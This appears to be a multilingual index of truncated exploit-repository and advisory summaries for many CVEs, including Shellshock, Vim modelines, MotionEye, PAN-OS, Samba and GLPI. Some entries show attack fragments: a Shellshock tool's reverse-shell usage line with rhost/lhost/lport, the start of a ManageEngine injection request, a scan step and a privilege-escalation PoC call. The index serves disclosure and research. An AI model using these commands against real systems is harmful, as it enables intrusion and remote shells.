-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock Remote Command Injection Tool für schnelle Reverse Shell und Dateidurchsuchung Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py...

CVE-2024-55187

Zusammenfassung Sensible administrative Parameter werden nicht ausreichend bereinigt, sodass ein Angreifer Pfade zu Systembinärdateien manipulieren kann. Der Angreifer kann dann gefährliche CSV-Dateien hochladen, die als PHAR-Archive behandelt werden können, die Shell-Metazeichen enthalten. Diese...

CVE-2019-12735-VIM-NEOVIM

CVE-2019-12735-VIM-NEOVIM VERWENDUNG: Voraussetzung: Die Modeline-Funktion muss aktiviert sein. Bei normalen Benutzern ist die Modeline-Funktion standardmäßig aktiviert, bei Root-Benutzern hingegen standardmäßig deaktiviert. Überprüfen Sie den Status mit echo &modeline. 1 bedeutet aktiviert, 0...

CVE-2025-60787

CVE-2025-60787 - MotionEye RCE MotionEye v0.43.1b4 OS Command Injection Un proof-of-concept di OS Command Injection per una vulnerabilità in motionEye, un frontend web per il demone motion. La vulnerabilità abusa del parametro di configurazione imagefilename, passato direttamente alla shell senza...

vulnerabilities found in the SonicWall SMA1000 appliance

SonicWall has identified several vulnerabilities in the SonicWall SMA1000 appliance. These vulnerabilities include a pre-authentication Server-Side Request Forgery SSRF vulnerability, which allows unauthorized attackers to execute unauthorized internal requests. Additionally, there is a...

CVE-2026-34990

CVE-2026-34990 Beschreibung CVE-2026-34990 – OpenPrinting CUPS Versionen 2.4.16 und früher: Ein lokaler unprivilegierter Benutzer kann cupsd dazu zwingen, sich gegenüber einem vom Angreifer kontrollierten lokalen IPP-Dienst mit einem wiederverwendbaren Authorization: Local ...-Token zu...

RLSA-2026:75768 Important: vim security update

Vim Vi IMproved is an updated and improved version of the vi editor. Security Fixes: vim: Vim: Arbitrary command execution via crafted tags file in C omni-completion CVE-2026-73073 For more details about the security issues, including the impact, a CVSS score, acknowledgments, and other related...

vim security update

An update is available for vim. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list Vim Vi IMproved is an updated and improved version of the vi editor. Security...

CVE-2025-65964

n8n Git Hooks CTF Demo ⚠️ Dieses Repository dient ausschließlich zu Bildungs- und CTF-Demonstrationszwecken. Szenario Eine Automatisierungsplattform z. B. n8n verwendet Git-Operationen als Teil eines Workflows. Der Workflow erlaubt beliebige Git-Konfiguration über git config. Ein...

Exploit for CVE-2026-102422

CVE-2026-102422 POC Proof of concept for GHSA-pqg4-j6r4-53mv...

cve-2024-43425

CVE-2024-43425 Informações do firmware: Nome do aplicativo: Moodle Versão de compilação: moodle-4.4.1 Versões afetadas: 4.4 a 4.4.1, 4.3 a 4.3.5, 4.2 a 4.2.8, 4.1 a 4.1.11 e versões anteriores não suportadas Link de download: moodle-4.4.1 Descrição e Impacto Atacantes com permissão para criar ou...

palo-alto-panos-cve-2024-0012

CVE-2024-0012 und CVE-2024-9474 Authentifizierungsumgehung in der Management-Webschnittstelle PAN-SA-2024-0015 und authentifizierte Befehlsinjizierung in Palo Alto PAN-OS Siehe unseren Blogbeitrag für technische Details Betroffene Versionen TBD Exploit-Autoren Dieser Exploit wurde von Sonny von...

CVE-2023-29084

CVE-2023-29084 Befehlseinschleusung in ManageEngine ADManager Plus Poc POST /api/json/admin/saveServerSettings HTTP/1.1 Host: 10.10.10.99:8080 Content-Length: 183 Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 Windows NT 10.0; Win64;...

cve-2024-10220-test

CVE-2024-10220 Test-Repository Dieses Repository wird zum Testen von CVE-2024-10220 Kubernetes gitRepo-Volume-Sicherheitslücke im Rahmen der HPC-Sicherheitsforschung an der University of Central Oklahoma verwendet. WARNUNG: Dieses Repository enthält einen bösartigen Git-Hook für kontrollierte...

Samba-Exploit-CVE-2007-2447

🎬 Dieses YouTube-Video 1️⃣ Ziel scannen Nmap nmap -sS -sV -p 139,445 192.168.56.102 Erwartetes Ergebnis: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 Samba-Version: 3.0.20 Dies ist anfällig für CVE-2007-2447. 2️⃣ Samba-Exploit identifizieren...

Simulation_CVE-2024-46256

CVE-2024-46256 & CVE-2024-46257 – PoC-Simulation Übersicht Dieses Repository enthält eine schrittweise, bildgestützte Proof-of-Concept PoC-Simulation von zwei Schwachstellen im Nginx Proxy Manager, die eine OS-Befehlseinschleusung ermöglichen, die nach der Authentifizierung zu einer...

CVE-2026-32996

CVE-2026-32996 A vulnerability in Veeam Agent for Microsoft Windows allows for Local Privilege Escalation. Check blog post post for technical details. https://github.com/user-attachments/assets/8a570332-1cf6-4905-9107-8fcb973c9ce7 PoC CVE-2026-32996.exe "whoami C:\pwned.txt" + Found...

CVE-2021-21389

Uso 1. Construa o docker para configurar um ambiente vulnerável de wordpress e buddypress. 2. Construa e execute o container mariaDB. 3. Faça com que os dois containers sejam executados na mesma rede. ex docker network create wordpressnetwork docker network connect wordpressnetwork wordpressapp...

GLPI <=10.0.2 - Remote Command Execution

GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module. id: CVE-2022-35914 info: name: GLPI =10.0.2 - Remote Command Execution author: For3stCo1d,allendemoura severity: critical description: | GLPI through 10.0...

SPIP BigUp Plugin - Remote Code Execution

SPIP before 4.3.2, 4.2.16, and 4.1.18 is vulnerable to a command injection issue. A remote and unauthenticated attacker can execute arbitrary operating system commands by sending a crafted multipart file upload HTTP request. id: CVE-2024-8517 info: name: SPIP BigUp Plugin - Remote Code Execution...